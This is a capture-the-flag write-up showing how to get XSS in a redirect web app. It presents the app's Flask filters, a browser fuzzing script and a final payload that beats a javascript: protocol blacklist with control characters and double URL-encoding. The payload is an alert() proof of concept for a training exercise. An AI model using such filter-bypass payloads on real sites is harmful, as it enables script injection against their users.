tl;dr
- Basic Javascript pseudo protocol waf bypass .
- Dom clobbering in a LateX library .
- Csp bypass using JSONP endpoint in googleapis.com using callback.
🔎 Raas - Initial Analysis
The application is basically Redirection as a service. The main functionality is in the /redirectTo
endpoint .
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
@app.route('/redirectTo', methods=['GET'])
def redirect_to():
url = request.args.get("url")
title = request.args.get("title")
default_url = "https://www.youtube.com/watch?v=xvFZjo5PgG0&ab_channel=Duran"
if not isinstance(title,str) or not isinstance(url,str):
return render_template('redirect.html',url=default_url, title="title")
url = url.strip()
print(url)
if not check_url(url) or not check_title(title):
return render_template("redirect.html", title=title, url=default_url)
return render_template('redirect.html',url=url, title=title)
|
here it’s taking a url and title as GET parameters and the url is being reflected in an anchor tags href value, and thats how the redirection was being implemented.
1
|
<a id="url" href="{{url}}">Follow Link</a>
|
The title is also being reflected inside an header tag like so .
🥷 Attack plan
Our aim is XSS and there are 2 paths we could take either the title or the url way .However there is a filter for both parameters.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
# check for url parameter
def check_url(url):
url = url.lower()
print("url: "+url)
pattern = r'[()=$`]'
if bool(re.search(pattern, url, re.IGNORECASE | re.DOTALL)):
return False
if url.startswith("j") or "javascript" in url:
return False
return True
# check for title param
def check_title(title):
if "<" in title or ">" in title:
return False
return True
|
In the check_title() it checking if there are <
or >
so we cant give tags, so XSS using title parameter is not possible .
Moving onto the check_url() function we can see that its checking whether or not the url starts with a j
or if there’s a javascript
anywhere in the url, this check is done to prevent XSS using the javascript pesudo-protocol.
However the javascript URL is more complicated its never a good idea to do the check like this.
1
2
3
4
5
6
7
8
9
10
11
12
|
// A javascript: URL can contain leading C0 control or \u0020 SPACE,
// and any newline or tab are filtered out as if they're not part of the URL.
// https://url.spec.whatwg.org/#url-parsing
// Tab or newline are defined as \r\n\t:
// https://infra.spec.whatwg.org/#ascii-tab-or-newline
// A C0 control is a code point in the range \u0000 NULL to \u001F
// INFORMATION SEPARATOR ONE, inclusive:
// https://infra.spec.whatwg.org/#c0-control-or-space
/* eslint-disable max-len */
const isJavaScriptProtocol =
/^[\u0000-\u001F ]*j[\r\n\t]*a[\r\n\t]*v[\r\n\t]*a[\r\n\t]*s[\r\n\t]*c[\r\n\t]*r[\r\n\t]*i[\r\n\t]*p[\r\n\t]*t[\r\n\t]*\:/i;
|
This is the React libraries implementation to check for javascript URL from this its understandable the flexibility of the javascript:
. Its possible to have newlines and tabs within the string and additional characters before the javascript:
Its always good to FUZZ for characters when it comes to stuff like this
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
<script>
let logs = []
for(let i=0;i<0x10ffff;i++){
let anchor = document.createElement("a")
anchor.href =`${String.fromCodePoint(i)}j${String.fromCodePoint(i)}avascript:alert(1337)`
if(anchor.protocol == "javascript:"){
logs.push(encodeURIComponent(String.fromCharCode(i)))
anchor.append(` ${i} CLick me `)
document.body.append(anchor)
}
}
console.log(logs)
</script>
|
After bypassing the protocol check there is still 1 more Regex
1
2
3
|
pattern = r'[()=$`]'
if bool(re.search(pattern, url, re.IGNORECASE | re.DOTALL)):
return False
|
This checks returns false if the url contains any of these characters ()=$`
,
These characters are needed to call functions in Javascript , even though there are ways to do it without ()
.
We can easily get around this by double urlencoding as javascript also decodes this in the browser .
🚀 Final Payloads
1
|
%02j%0Aavascript:alert%25601%2560
|
See also